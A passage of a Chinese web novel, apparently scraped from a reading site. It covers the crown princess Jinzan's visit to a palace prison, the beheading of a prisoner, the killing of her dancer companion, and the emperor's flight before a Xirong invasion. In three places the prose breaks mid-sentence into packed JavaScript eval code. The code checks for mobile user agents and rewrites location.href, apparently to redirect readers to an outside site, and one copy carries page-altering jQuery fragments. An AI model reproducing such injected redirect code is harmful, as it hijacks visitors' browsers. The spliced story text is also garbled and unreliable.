然而,她看着手中的木鸟,轻出口气后稳稳地将它投了出去。 “哎呀,飞进去了。”杜鹃惊呼道,“殿下,奴婢为你去寻吧。” “不必了,孤的东西孤自己寻。”金簪说完,摆手令宫婢都待在五官寮外,带着南叶进入寮所。 五官寮所汇集管理军政的司马、百工兵器所的司空、掌土赋户籍的司徒、掌刑司寇,以及春官宗伯,管理礼祭事宜。 此地乃是六卿太宰之下最大的权利执行机构,而且这里面大都听命于太宰风子鸾。 羊入虎穴,可能全须而退? “你是谁,女子岂可入五官寮所?”院内官员见两名稚女,当即呵斥。虽说他已瞧见这大孔雀袍,却硬是当不知道。 “住口,这是太女殿下。”南叶铿锵道,一双美眸孕火,像在说:你瞎啊,真放肆。 “太……太女殿下,殿下千岁。”官员这才做出愣了下的表情,不情不愿地垂首向金簪行礼。 一旁庭内的官员也是一副不以为意的态度,在面面相觑后施施然向金簪拱手,如此作数。 金簪的眸光映着入庭的阳光,漾着粼波。 她垂敛眸中不愉,稍许后退一步,在这些官员戏谑、不明所以的眼神下又坚定地转向寮所深处。 一位年纪颇大的老官疾步而出,拦在道上,大声道:“殿下,臣乃大司徒李兰亭。此地乃是国之政事所,无官职在身者不可入,无皇命在身者不可闯。” “孤,也不可以?”金簪绷紧面色,撩眸冷声道。 李兰亭乍一听她的老成声音,再及周身气势,不由顿了下。 但是,他依旧拦道:“臣乃五官之首——大司徒,奉命处理五官寮所内的一切闲杂事宜。殿下若无皇命,不可入军机要地。” “殿下是来找这个吧?”一位年纪不大的官员着紫金红袍,将手中的木鸟递向金簪:“此木鸟机巧,似能御风而行,很有意思呢。” 他说着,又从金簪的手边擦过,将木鸟收回来。在众人震惊的眼神中,他将木鸟放在手中旋转几下发条,再向天一送,“哟,真能飞啊。刚才,微臣还以为眼花了呢。” 木鸟扑棱翅膀,向五官寮所的深处、另一宫苑飞去。旁人见他如此大胆地戏谑太女金簪,不免噗嗤笑出声,又在李兰亭的眼神下闭口。 “放肆,你竟敢戏耍太女。”南叶色厉荏苒,刚要喊人,就见太女一声不吭地紧追木鸟而去,“殿下……” 李兰亭等人一见太女金簪往里面冲,赶紧喊道:“殿下,不可,不可乱闯……” 紫金红袍的官员展手拦住旁边的李兰亭等人,朝他笑道:“大人,无碍无碍,这……小女孩心性嘛,属下去追属下去追……”他说着给手下的士一大夫使了眼色,追着金簪入了内宫苑。 金簪一身大明孔雀袍,站在一棵老铁树下,看向追来的年轻官员,高深莫测道:“凌少保的人?” “呵……殿下英明,这边请。”风宜游走了两步又对南叶道,“这位女官姑姑,木鸟在那边,烦请帮忙沿着这道,将它再往前飞一路。” “殿下……”南叶见金簪颔首,跑去捡起木鸟,向宫道深处走去。 风宜游带着金簪转入小道,入了五官寮所后面的小径,兜兜转转到了司寇刑寮。 “这里面就不怎么好闻了,殿下勿怪。” “无碍,你叫什么?” “风宜游,儒门学海弟子,在夏夔十五年时被太傅孙忠谋举荐入司寇所。”风宜游缓缓道。 金簪耳闻喧嚣声,诧异地看向透出微光的牢房上孔,迟疑道:“这里距离宫外很近?” “对。司寇寮的刑衙就在金宫的外墙和内墙之间,翻过外墙就是京都有名的白马大道。真论起来,这里也算是外宫的南偏小门。”风宜游低首看了下毫无惧色的金簪,突然道,“微臣还没升到上朝的官位,但有幸在卜耀阁外见过殿下一面。殿下真是极为特别。” “如何特别?”金簪看着一众无视她存在的守狱小吏,一脚深一脚浅地走着。 “特别……有王气。”风宜游说完就想拍嘴巴,指向牢房的尽头道,“就在那了。” “放我出去……混蛋,风宜游,你顾念不顾念同窗之谊啊?”宜醉踢着牢房栅栏,不断地骂骂咧咧。 旁边的同牢者幸灾乐祸道:“宜先生,你省点力气吧。风子鸾这种畜生把我们抓来,你还想靠关系出去,做梦呢。” “你懂什么?我是出来采买,被尔等拖累,被当奸细抓了,我冤枉啊。”宜醉嚷嚷道,嘀咕句,“一群傻子害我。” 他见风宜游领了一身大孔雀明王服的小女子过来,那稚女头上的金冠盘着细碎的金丝,额发下的双目如同皎皎星河,一时口吃道:“太……太……女……传闻中的……大周太女……竟是这般稚童。” 与宜醉同牢房的人纷纷站起来,抓住木栅栏望向来人。 “真得是……这世上只有一人可以戴……戴金钗……穿孔雀王服。” “太女,我冤枉啊……” 这一声嚷嚷导致整个刑狱里的犯人都扒拉在栅栏上向金簪行注目礼。 风宜游护挡在金簪身前,侧脸道:“殿下,无恙?” “没事。虽不曾见过这阵仗,倒也无惧。”金簪拂开风宜游的手,目光从一张张疲倦、哀伤、乃至愤恨、痛苦、怨恨的脸上一一滑过去。 “哎,风宜游,你过来,你什么意思?”宜醉高声喊道。 金簪的目光落在一身褴褛的囚徒身上,微微拉起了唇角。 “原来如此。少保想要救此人?” “是。他乃是当年风瑶骑兵在南旋城屠戮儒门书生的人证。”风宜游说着,引领金簪走到宜醉的面前。 金簪与宜醉的四目相对,又知机得往后退了一步,避开宜醉身旁人抓来的手。 她冷声道:“你想拿孤做人质,逃出牢狱?” “嘿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059939|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……脸都没开的臭丫头逞什么能,若不是你的身份有用,谁来逮你、杀你。”宜醉旁边的大汉见手里落空,直接嚷出声。 金簪听后歪头,好笑道:“你们不是在前线被抓?” “当然不是。老子是奉命进海辰道府刺杀风子鸾……”大汉比宜醉能说会道,直接抢了宜醉的搭话机会。 “行了。什么时候了你还说这些。”宜醉踢了一脚同牢的大汉,朝小小的金簪道,“我们以为这京都已是坏人窝,不想还有你这样可爱的小姑娘。罢了,宜醉同兄弟们发过誓,此生必诛大周狗。撇开身份,你人小又是个姑娘,我就不骂你了。” 风宜游蹙眉道:“你不想活了?” “活?”宜醉哼了声,瞧着个头才到风宜游腰上的小姑娘,冷声道,“我觉得你们都不想活了才对。你们将希望寄托在这么一个稚女身上,等伏龙大将军杀进京都,这些享民脂民膏者、依旧在做春秋大梦的大老爷们,都得下来陪我等。” “不错,说得对。”大汉捧话,“你这书生终于不掉书袋了。说得对极了。咱们的青天伏龙大将军李云起,一定能杀尽大周狗,为我等百姓报仇,讨个公道。” 宜醉一个手肘打过去,直接将大汉的话噎了回去。 金簪暗吸口气,缓缓道:“你们说得公道是什么?” “夏夔帝一十七年春末,岩阳郡五县贡茶因九乌山道被三府把持而被迫背茶入卧秋山道,高山风寒,一个失足不慎,导致众人全部跌落山涧,无一人生还。 卧秋府衙却将责任推卸给岩阳郡五县,乃至近百多人被押上京,途径青骊山才获了一线生机。 同年,春初,儒门学子在南旋城聚首论道,却被小人相传,言论入了京都太宰府。春末时,风瑶骑兵南下残杀儒门学子,沿京都官道遍布学子尸骸……这些难道不要公道吗?” 宜醉含着泪,厉声道,“尔等尸位素餐,吃了民众血脂却将屠刀斩向百姓。呵……天道公理自在人心,尔等且等着看,这苍天饶过谁?” “说得对。胜争那狗屁月辉君更是阴险狡猾,拿着京都名头前来平叛却行抢粮勾当,一个鼠窝里不分好歹,蛇鼠一窝的坏胚子。”大汉骂骂咧咧道。 “够了,宜醉,我带太女前来不是要听你们骂人。”风宜游蹙眉道,“什么时候来,你还这样?”以前也不是这么不知轻重啊。 金簪摆手示意风宜游别说了。奈何人小,这风大人不低头也看不见她。 她轻咳一声道:“走吧。孤知道少保要给孤看什么了。” 风宜游隔空点了宜醉,气他不懂时机。 他也觉得时间差不多,就带金簪向刑狱外走去。 金簪瞧他熟门熟路,好奇道:“这些人不会将孤来的事外泄吗?” “这天下就没有能包住火的纸,何况是人。殿下见了他们,又能做什么吗?”风宜游也是含了一口怨气,说完后不免转身行礼,“殿下恕罪,微臣心忧学弟,适才不免无状。” “无碍,走吧。”金簪袖下的手拳紧,随他出了司寇寮。她一站在天光下就被李兰亭等人团团围住,好似抓捕什么大盗一样。 “你们……莫不是以为孤能劫狱?” 李兰亭垂首想了下,令人将抓起来的南叶放了,上前道:“殿下,司寇寮关押得都是重刑犯,脏污之地,污了殿下的玉足。请殿下回吧。” 金簪呵了声,看向一侧垂首不语的风宜游,低声道:“值得吗?” “士为知己者死,向殿下披露此事,无憾矣。”风宜游向金簪躬身行礼,目送她带南叶离去。 金簪这才明白少保凌飞的目的。 【不是少保让孤看什么,而是风宜游想让孤知道这天下、这风子鸾都做过些什么。】 李兰亭眯眸看着风宜游,冷笑两声,甩袖而去。 此事后,风宜游被司寇大人革职,赋闲野外,寄情于山水。 晚间,金簪躺在卧床,手里抓着木鸟把玩。她想起白日在司寇寮所见所闻,不免轻叹出声。 一旁的梵阆轻轻地拂开金簪的额发,低声道:“殿下在想什么?” “梵阆,你说外面是什么样?”金簪伏在她的膝头,低声问,“真得有那么多人恨我吗?因我而死。” “殿下,你只是个孩子。”梵阆怜惜道。 “不,孤是大周太女,未来储君,理应为这天下、为百官、父皇的失责而尽责。”金簪缓缓道,透过幽暗的烛火光芒看清手中的木鸟木纹,“可是,我的眼前一片迷茫,什么都看不清。” “殿下,那就慢慢来,总有看清得一天。”梵阆轻轻地哼起了乡谣。 歌声中充满了平静,描绘了一个鸟语花香的春天,像是世外的桃源。 金簪听着轻柔舒缓的歌声,慢慢地睡了过去。 13. 心死 金簪步入五官寮所一事,太宰风子鸾在前线得知后很快就将命令传回京都。彼时,金簪还在看凌飞和沈长清因挑战风子鸾权威一事争吵不休。 “凌少保,你怎能将殿下置于如此险境?若是风子鸾觉得殿下有登堂之意,必然会威胁到殿下的安全。你这是将殿下架在火上烤。”沈长清气得来回踱步,喃喃道,“为今之计,只能尽快想办法补救。” 凌飞叠手而立,一副若有所思的神色。 此时,南叶进来报金簪:“殿下,五官寮派了人,说是有东西呈给殿下。” 金簪本不想见,但见凌飞望来的淡定眸色,凝思想着凌少保阅历丰富,如此做法可能在试探风子鸾的底线。若是风子鸾容忍此事,那么入堂之日就有转机。 她扬眸,令南叶将人传进阁。 来人是一名司寇寮的小司,大喇喇地托着一个木盒。 他进堂后只向金簪行点头礼,扯笑道:“太女殿下,司寇大人说这份礼得当堂呈现给您。您且擦亮眼睛看好了。” 说完,他拉开盒子的锁条,一下子卸下去盒子的三面,露出当中一颗血淋漓的新鲜头颅。嫣红的血液肆无忌惮地向地上滴答淋落。 “啊……”南叶和杜鹃,以及一众小宫婢惊叫出声。 凌飞在开盖时已挡在太女的案几前,提醒道:“殿下别看。” 沈长清被这颗头颅震住,大吸口气又猛咳两声,呼出一口血腥气。他愤怒地上前道:“大胆,区区小吏竟敢给殿下看这样的……谁给你们司寇寮的胆子?” “嘿,小的是粗人,不懂大人物们的规矩。太宰吩咐的事,小的不敢不做,小的一家老小在京谋生,总要好好活着。既然殿下看过了,小的就拿走了。” “慢着。殿下乃是君,尔为臣,臣不敬君,当斩。”沈长清厉声道。 桌案后的金簪闭下眼,颤抖的双手重重地压在桌面。她试着控制发颤的身体,不让声音也跟着颤。可是,瞬息一瞥的画面还是让她心生惧怕。 她低声道:“你叫什么?” 小吏闻言眨了下眼,耳闻凌少保复述太女的话,咽口吐沫道:“小的,司寇寮刑狱掌事江天浪。这……殿下……” 金簪缓过劲后,闻言道:“听你说话,知你是明白人。你这名字也不错,滔天之浪,是个上的了台面的人物。罢了,送他出去。” “殿下?”沈长清不解地喊道。 “嘿,多谢殿下。小的就是听吩咐办事,说白了一跑腿。谢殿下不杀之恩。”江天浪在离开前向金簪行礼半身礼,抱着血淋漓的人头和淌血的空盒子,快步离开卜耀阁。 “殿下……”南叶疾步走向软下腰肢的太女,虚扶着她道,“您没事吧?” 凌飞朝杜鹃、南叶道:“请两位女官快扶殿下回阁上休息,另派人去请高医女,就说殿下受惊,突发高热,陷入昏厥。其余姑娘们,请快快打扫此地。” “这……”杜鹃有些迟疑,见南叶点头,喊来手下打扫。她灵机一转,恍然道,“奴婢亲自去医所请高医女。”话说完,她就嚷嚷着跑出门去,“不好了,殿下昏过去了。” 沈长清有些明白凌飞的用意,思索之下竟觉得凌飞出招诡道。 不过,他还是介意凌飞不在事先通气,缓过劲后目送金簪上阁,青着脸对凌飞道:“少保大人,虽说你用意深远,但是一遭打草惊蛇,惹来如此大的威胁。他风子鸾都敢将人头送到殿下面前了,焉知下一步他会不会将刀架在殿下的脖子上?” 凌飞知道沈长清不是庸碌之辈,避开与他正面交锋。 他缓缓道:“少傅勿要动怒,此事暂且这样。我刚才瞧了,那人乃是儒门义士宜醉。南旋道府来信,宜醉是李云起的参事。风子鸾必不会放过他。 如今,风子鸾已经出过招,自是该到我们出手了。我先去五官寮所走一遭,烦请少傅在这里候着殿下,主持大局。” “你……”沈长清看他快步而去,气得肝火上冲,拂袖道:“不想你凌少保是如此独断专行的人。” 不久后,阁上的金簪趴在梵阆的膝头,手伸给高苗诊脉。 高苗得了沈长清的提点,凝神道:“殿下受了惊,缓过几日就好。这几日用些安神茶。臣会对外说,殿下神伤发梦,需卧榻静养。” 金簪收回手后摆了下,示意高苗按此去做。 她赖在梵阆温暖的膝头,脑海里总是掠过苍白沾血的脸和刹那消失的无神双眼。 那双眼属于司寇刑狱里的宜醉。在三日前,它们还闪着讥诮的眸色。原本鲜红微干的唇已是苍白无血色,曾奚落风宜游等人,说他们试图靠一个稚女想重振朝纲,乃是做春秋大梦。 “殿下,别怕。梵阆给您跳舞,好吗?”梵阆将金簪扶起后令她软靠在床柱,一扬广绣,游入阁厅。 金簪看向她回眸含笑的双眼,似望进宜醉死不瞑目的呆滞眼神,似在说:“你们将希望寄托在一个无能的女孩身上,可笑不可笑?哈哈哈……” 金簪的双手不由拳紧,轻轻地闭合双目。 随即,她豁然睁开双眼,赤足跑向花架上矗立的木棍。她一把抓住原木棍后抽出,抖手入场,呵道:“退下。” “殿下……”梵阆、南叶纷纷喊道。 金簪两耳不闻,一棍劈砍向空无,尽泄心头郁气。 梵阆和南叶吓地避到一旁,见太女将棍子挥舞地呼呼作响,完全像是在发泄情绪。两人对视后不免轻叹、心疼。 此事经杜鹃的口传出,在宫里发酵两日,整个金宫都知道风子鸾威胁太女一事。太女为此受惊昏厥、卧榻静养。大家都说风子鸾此次出征归来有喧宾夺主之嫌,已是功高震主,不将皇族放在眼。 轩辕帝听了一耳朵金簪的事,只作一声嗤。他更没想着风子鸾在震主、会夺主。他现在的兴趣全在风子鸾找回来得一对民间金童玉女的身上。 这金童玉女刚过十六、十八的年岁,长得极为妖魅、清雅。 轩辕帝给两人取了雅号:“风神、月女。” 轩辕皇后闻得金簪卧榻,亲临卜耀阁。 她立在卧病在榻的金簪床头,高声呵怪她无用、无能……又朝凌飞发了一通邪火。 轩辕皇后本就不看好凌飞,凌飞此人年轻时不知轻重得罪权贵,落得被贬南蛮。如今老来,京中无人可用才被召回填数。遂而,她对凌飞很是不假辞色。 半个月后,金簪再出现人前,依凌少保的意思开始变的胆小如鼠,害怕鲜血和动物。 她知道这是凌飞的计策,令风子鸾受制于京中舆论,即使战胜归来也不敢轻举妄动。其次,示之以弱才能让风子鸾踌躇难断,继而起到拖延风子鸾野心的目的。 这些手段被凌飞称为:缓兵之计。理由就是殿下现在还是幼年无势的现状。 金簪依着凌少保的意思,坐实无能受怕的模样。她因此还做了不少荒唐事,半夜受惊跑出卜耀阁,在后宫花园里见蝶吓得落河……发癫时,她直接在景亭起舞,被路过的宾妃瞧了去。 太女金簪胆小怯弱、无能好嬉的名声就此传了出去。而且,梵阆和风神何丰有了交集,被人传成太女金簪看上皇帝宠娈的传言。这些流言虚虚实实,慢慢地传进轩辕皇后的耳目。 次年末时,乾明宫里又传出“月女月舒”已有三个月身孕的说法。 轩辕皇后积攒日久的怒火终于爆发,震怒之下,借着金簪的名头,将梵阆扣押在御花园。她扬言梵阆是不入流的艺伎,魅主惑心之徒,必须得施以惩戒。 南叶跑去向金簪报信救梵阆。她知道梵阆对于金簪来讲有些不同,自从梵阆入了金簪的眼,金簪将晚间值夜的婢女都遣走了。梵阆于金簪来说亦师亦友,或许还是一份稀缺可贵的亲情。 金簪听闻后,果断赶去乾明殿。 她与匆匆逃离后宫的风神何丰撞上。 何丰低垂眉眼,避开金簪的凝视,躲进乾明殿。 金簪闭眼凝思,知是何丰这宠娈害了梵阆,或许还有那些流言。她在乾明宫殿外跪请轩辕夏,试图为梵阆求请。 轩辕夏却只宠着月舒,耳闻太女为一名西教坊出身的舞艺司侍而来,冷声道:“不过一个西教坊不入流的舞师,死了就再给她换一个。” 何丰见帝王招手,默默地走上前。 他的手被轩辕夏握着,又顺着轩辕夏的力度搭在月舒平坦的肚腹。 轩辕夏笑得神癫道:“朕势要破了她的咒。” 金簪跪求了一刻,心知这里面的人根本不会动容。早前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“孤不配为君吗?”金簪仰首反问道。 “你……”轩辕皇后突兀地嗤了声,耳闻玉鸢说月女月舒出了乾明宫,心思机变,转眸道,“太女回宫反省,你且好好读书。这次,本宫依了你便是。” “谢母后成全。”金簪向皇后离去的背影叩首,起身时望向匆匆而去的皇后鸾驾,目深如渊色。 她被南叶搀扶着,转向被内侍官用草席裹起来的梵阆尸首,露出个极为自然的笑容。 南叶却是瞳孔巨震,太女的笑也太平静了。 她感受到手腕被金簪抓着的力量,压下心起的惧意,泛起一丝涩然。 这是同病相怜的悲悯。女子一旦入宫为婢,生死不在己,具是悲哀。 转过身走着的金簪低声道:“全是孤的错,你明知有此结局,却依然陪在孤的身边。孤害你如此,你却对孤笑,说什么别怕。” 她想起梵阆闭目前的口型,于无人见时,滑下两行泪。 【少傅、少保让孤演一个无能者,母后让孤成为一个众叛亲离者……这些全是用他人之命铺路。为何……为何……孤如此无能! 风子鸾,你该死。】 梵阆死后,金簪夜不能寐。 晚间,她总是屏退要值夜的南叶和杜鹃,独自一人跳舞至灯油燃尽。只有舞蹈地沉浸和尽情的汗水,能让她忘却所有,因困极、累极而眠。 时日渐久,金簪越发消瘦,吃食也少得可怜。直到她听到轩辕皇后意图谋害月舒体内的皇嗣而遭到轩辕帝禁足金凤宫。 她才莫名其妙地笑了下,渐渐地恢复以往的作息。 因轩辕皇后得一顿闹腾,卜耀阁又迎来了第二位西教坊的舞艺司侍,名唤莺歌。 莺歌被禁足金凤宫的轩辕皇后喊去三令五申,责令她不能教太女不入流的舞艺,只准教太女基本的舞蹈动作。 金簪看着更年轻更妖娆的莺歌,见着她虚浮的基础舞蹈动作,直接令她在卜耀阁的偏厅跳舞。 夜深时,金簪对着空无一人的阁厅,低声道:“这天下只有一个梵阆,只有一个梵阆。如此……甚好。” 14. 东逃 夏夔帝二十二年,轩辕帝最开心得一年到来,也是大周最致命得一年。 亲封的贵人月舒诞下一位公主,被帝王赐名为轩辕金香,封为公主。 后宫一直有帝宠的丽妃也宣布怀了四个月的身孕,而且太医常安喜断定此胎是男孩。 接二连三的宫廷喜事将轩辕皇后气病倒。她在金凤宫里一度破口大骂神女阿乐沽名钓誉,乃是骗世之徒。 然则,夏夔帝根本不在意皇后如何,亲自下令增派禁军直入后宫,团团护住丽妃和月舒的月宫花庭。 不仅如此,他还开始积极上朝,接见四辅寮官员,过问六卿事务和前方战况。 孙裴作为四辅总管大右弼,突见皇帝勤奋,家书一封寄给返乡的孙忠谋,直言一切都在往好的方向转变。 孙忠谋得知后,寄回所教学子的手作涂鸦。 孙裴端信良久才叹出声:爹教得乃是童学。他这意思是在说圣上如儿童玩闹,哎。 彼时,风子鸾带兵征战在外,朝堂上下在夏夔帝的重视下一片和谐,颇有岁月静好之意。 然而,年末时,气候异变,突降大雪。 南方奔流不息的洛川江结了厚厚的冰层。 李云起带起义军踏过南北防线的洛川江,杀入海辰道府。他们一路砍杀县府官僚,直逼海楼府城。 府城太守哪里还敢驻守府城,连夜拖家带口奔入风瑶军营,求太宰大军庇佑。 风子鸾自认带得是大队骑兵,杀无马民兵都不需要计策,直接纵马横冲直撞就行,如砍瓜切菜般容易。 此战在他的认知里必胜无疑。 李云起有北安阳镇后方谋策,前有禹季探路识阵,大部队直接绕过海楼府城,从风瑶骑兵后方的白秋山直冲而下。 即使这个时候风子鸾依然不觉得李云起能成事,直到起义军在杀过来前将裹身冬衣互相缠绕成锁,成为绊马索一样的东西,硬是将骑兵的优势给逼没了。加上天冷苦寒,马匹行动不快,风瑶骑兵被起义军杀了个措手不及。 风子鸾御敌接连战败,往南退守海辰道府海楼城。 他一脚踹在参谋的脖颈处,骂道:“天黑路杂,你竟领本宰入了这死城。南去洛川江,北上路途被李云起的人堵住。若他们调转南下,本宰不就被困死在这海楼城?” 然而,李云起这次没听禹季和北安阳的话,直接带兵北上,放过退守海楼城的风子鸾和风瑶骑兵。 半个月后,胜城月辉君收到风子鸾派出的求救信,又见李云起带兵过江,不能再坐视不理。他带几府兵马以勤王为名绕进慈济道府,与李云起的兵马在东都道府之外兵戎相见。 风子鸾趁此机会,南渡洛川江断了李云起的补给线,直接掀了起义军的青骊山老家。 自此,李云起北上作战止步在东都道府外,也已经危如累卵。然而,月辉君出兵带走秦连长墙附近的几府兵马,直接给关外的西戎人创造机会。 塞外大雪封域,秦连长墙外几无颗收。西戎兵马为活下去,长驱直入,闯过寒雪关,直奔通往京都的英雄大道。 夏夔帝二十三年初,轩辕夏坐在龙椅上兴奋地等着南方的捷报到来,却听边关将士八百里加急,嚷嚷着传进金宫:“西戎打进来了,摩尔人来了。” 举朝哗然,百官噤若寒蝉,一时竟无人知道该怎么做。 太保楚刘素直接从府内穿甲而出,在朝堂上立下军令状,领一众东拼西凑而成的禁军、虎贲军、京都守城军等直奔寒雪关。 月辉君本已将李云起的兵马逼入东都郊外的护城河死境,却听得西北战报。 他在权衡过后直接挥戈北上,助力楚刘素抵御西戎兵马。 “若是李云起死在这里,风子鸾的余力就会对准胜争等地,就放李云起一马,由着他逃回卧秋道府。” 风子鸾得知东都战况后想要截杀南逃的李云起,却发现散股的起义军极其狡猾,一旦藏入了大山,难以觅得踪迹。 此番,他也算是掀了李云起的老巢,功不可没。思定后,风子鸾就带余下的风瑶骑兵返回京都。 半月后,夏夔帝耳听楚刘素战死英雄大道,而月辉君的部队不敌西戎、南退回胜争道府,在朝堂斥责归来一日的风子鸾,大骂道:“太宰统领大周兵马,却不守疆土。尔该挥师西进,与太保共御敌人。朕命你即刻带风瑶骑兵出发寒雪关,阻挡西戎人。” 风子鸾这点自知之明还是有的。风瑶骑兵可以战李云起,但不代表可以打得过西戎这些天生高大威猛、体力强悍且御马有术的异族人。那些摩尔人不仅会御马,还会御凶兽大军。 他直接进言:“西戎越过长墙是因为今年冬雪早降。但要他们沿英雄大道,长驱直入京师却要劳动兵马补给,此事极其不易。 史上,西戎进关不足五次,他们不可能入京都。 不过,以防万一,臣建议陛下暂离京都,退居东都。东都道府已退李云起兵马,足够安全,且两地有两府相隔,数山……” “太宰此言分明是在说等西戎人抢够了就会回寒雪关外。”凌飞忍不住出列道。 风子鸾第一次见凌飞,冷笑一声道:“少保大人志气不减当年。楚太保战死边关,莫不是你能替他同西戎开战?” 凌飞哑口,向上首的夏夔帝道:“陛下,我朝与西戎兵马真正战胜有三次,首推大宰辅胡裴。他年方十二过国学大考,十六为太宰,亲自前往雪草城,将西戎兵马挡在天阙山外,护下西面的轩辕祖地六府三城。彼时,他有大将军晁错帮扶,加上胡太宰的才智、天机山门的助力,轩辕铁甲的所向无敌……” “够了。如今已经没有轩辕铁甲。西戎人也过了天阙山,登堂入室,掀了轩辕祖文,霸占西六府三城近二百年。你直接说可有御敌之法?”夏夔帝怒气盈心道。 凌飞沉默一瞬,躬身道:“北调北延三道府,令燕地兵马分为两只,一只绕过秦连长墙北段,断西戎人后方,一只南下勤王。” 夏夔帝沉思了一下,又听了几位朝臣的意思,同意了凌飞这个建议。随后,他又道:“朕决定前往东都行宫暂避。既然少保有良方,就令太女镇守京都,以待燕地兵马相助。” 风子鸾凝眸忘了眼震惊的少保大人,直接哼笑一声,拱手送夏夔帝散朝。 空无一人的大朝堂上,沈长清与凌飞相视苦笑。 如今,三公余下太师未动,太保临危受命,战死边关,皇帝又要东逃避难,连太女都不带上了。 沈长清苦中作乐,恭请问道:“凌大人,大周史上第二次战胜摩尔人乃是轩辕姬当政时期,第一位女帝。” “是啊。她是胡裴太宰扶持上位,也是史上传言的仙人女帝。摩尔人再犯天阙山,女帝领轩辕铁甲杀入北原,直接掀了摩尔人的老巢。此战是何等痛快。 少傅大人,此番我……”凌飞对帝王的决定不免自责。 “帝心胜虎,如此倒也不意外。第三次战胜西戎是风瑶骑兵的创立者,凤栖和田瑶夫妇。当时,依然是女帝当政,乃是轩辕伯姬殿下。”沈长清意味深长地笑了下。 凌飞还没反应过来文人脑海里的妙趣,直到殿下二字一出才明白过来道:“这第四,莫不是你我扶持的殿下。” “岂能不是?”沈长清哈哈一笑,末了又沉敛了笑容。 “此番看来,大周中原人要战胜西戎摩尔人,须得天生神力、又或智谋者。这样的人,几百年才出一个呀。”凌飞说着这番话,突然想起了自家的孙儿。那小子一直在研究古时失传的木牛流马之术,好像未有进展。 凌云入京数月余,据凌飞观察,孙儿爱好有二:攻专木技,以及被季飞扬硬拖着走街串巷。 突然,凌飞又不那么自信了。 他与沈长清一起前往卜耀阁,准备午后给太女授课。 朝堂风云一朝传入民间,百姓得知皇帝大骂太宰,还扬言要革大宰辅的权职。说是百官请命,力保太宰,才让风子鸾躲过一劫。 堂上一番皇权和臣子的势力搏斗,轩辕帝被气得卧病在床。民间就开始传言风子鸾的运势到头。 然则,轩辕帝轻装简行,带着月舒母女以及大腹便便的丽妃,准备东行避难,随行还有司徒穆苍山,太仆寺卿等官员。 ** 数日后,轩辕帝已经离开多日,直至抵达东都,京中才起了流言说皇帝逃了。 大宰辅风子鸾扬言镇守京都,坚决抵抗摩尔人,未一起同行。然而,这期间京都不仅消失了一些达官贵人,还有部分儒门义士以及部分站靠凌飞、太师等人的小吏官员。 ** 这日,杜鹃看向跪在卜耀阁厅堂的小宫女,直蹙眉头,呵斥道:“这种事岂能传到殿下眼前,你不要命了?” “婢子不敢。但是,婢子那夜真得见到太宰大人从金凤宫出来,不敢欺瞒殿下。”宫婢怯弱道,“玉蓉姑姑对婢子有恩。殿下遣人将玉蓉姑姑安葬,便也是婢子的恩人。婢子不敢欺骗殿下。” 金簪垂眸,向南叶摆手。 南叶拉住还要呵斥小宫女的杜鹃,扶起小宫女,轻声道:“此事你还同谁说过?” “没有。那日……皇后娘娘只留了玉鸢姑姑在殿内伺候,将其余宫女都遣走。婢子起夜时见太宰大人身披斗篷,在玉鸢姑姑的照拂下出了宫门。 彼时,宫门落钥,玉鸢姑姑亲自开的门。” 南叶看向上首的金簪,又朝小宫女道:“此事切莫再对旁人提起,不然,你小命不保。你如此前来是担心自身性命吧,那就守好口风。” “是。”小宫女轻舒口气,在南叶的示意下向金簪行礼,而后被南叶亲领出去叮嘱。 杜鹃气呼呼地看向沉默不言的金簪,想要说什么却无言可劝。 【陛下私逃东都,不带皇后和殿下。太女上朝,朝臣们却不到朝堂朝见,只有太宰上朝时官员们才会前去……殿下完全是个摆设。在他们眼里,根本不存在……】 在金簪的示意下,杜鹃想要替她出言骂几句都憋回肚,躬身退出阁。 她立在门口,听到屋内发出沉闷之声。 南叶送走小宫女,见杜鹃肃容,猜测道:“殿下她……” “进来。”金簪高喝道。 待两人入内,她已是平心静气道:“收拾一下,孤去小憩一会。待会少傅过来,就说孤身体不适,休憩半日。” “是。”杜鹃和南叶看向一地的墨汁,以及砸在地上的砚台,默默地收拾起来。 金簪独自上阁楼,立在多宝架前的木棍处,深沉了眸色。 傍晚时分,金簪坐在案几前,见南叶送来的木雕风车,低声道:“少保来过了?” “是。”南叶看着桌面上一堆大小不一的木条,眨下眼后恭敬道,“少保大人说,殿下将木风车座放在窗口,风来时,叶片自转,可净神安心。” 金簪接过她手里的风车,翻来覆去查看,边道:“不过是叫孤稍安勿躁、不要多思多虑罢了。” 南叶见金簪的心情不错,瞧她稚气的模样,不解道:“殿下在找什么?” “锁条。凌少保的孙子木工活了得,一根锁条可固乾坤。这木鸟、宝箱、巴掌大的木马、千机锁全是用一根锁条固缚。这个……风车必然也是如此,孤找到它就拆了它。”金簪眼也不抬,没看到南叶眸里的错愕。 杜鹃上来奉茶,听了一句,瞧着满桌木条,嗔道:“殿下拆了这些还能装回去吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜鹃抱着书盒回来,朝金簪道:“殿下,正卿祁大人不在,旁人说他家中妻子病重,这几日都没有当值。” 金簪接过书盒时愣了下,像起颇有紫琴君风骨的祁缙云,喃喃道:“祁缙云乃是太师长孙,沈少傅都说他是天下第一痴人。明日,你以孤的名义去医所领一些尚好的药材,令人送去正卿府邸,由高苗去办吧。” “是。”杜鹃领命离去。 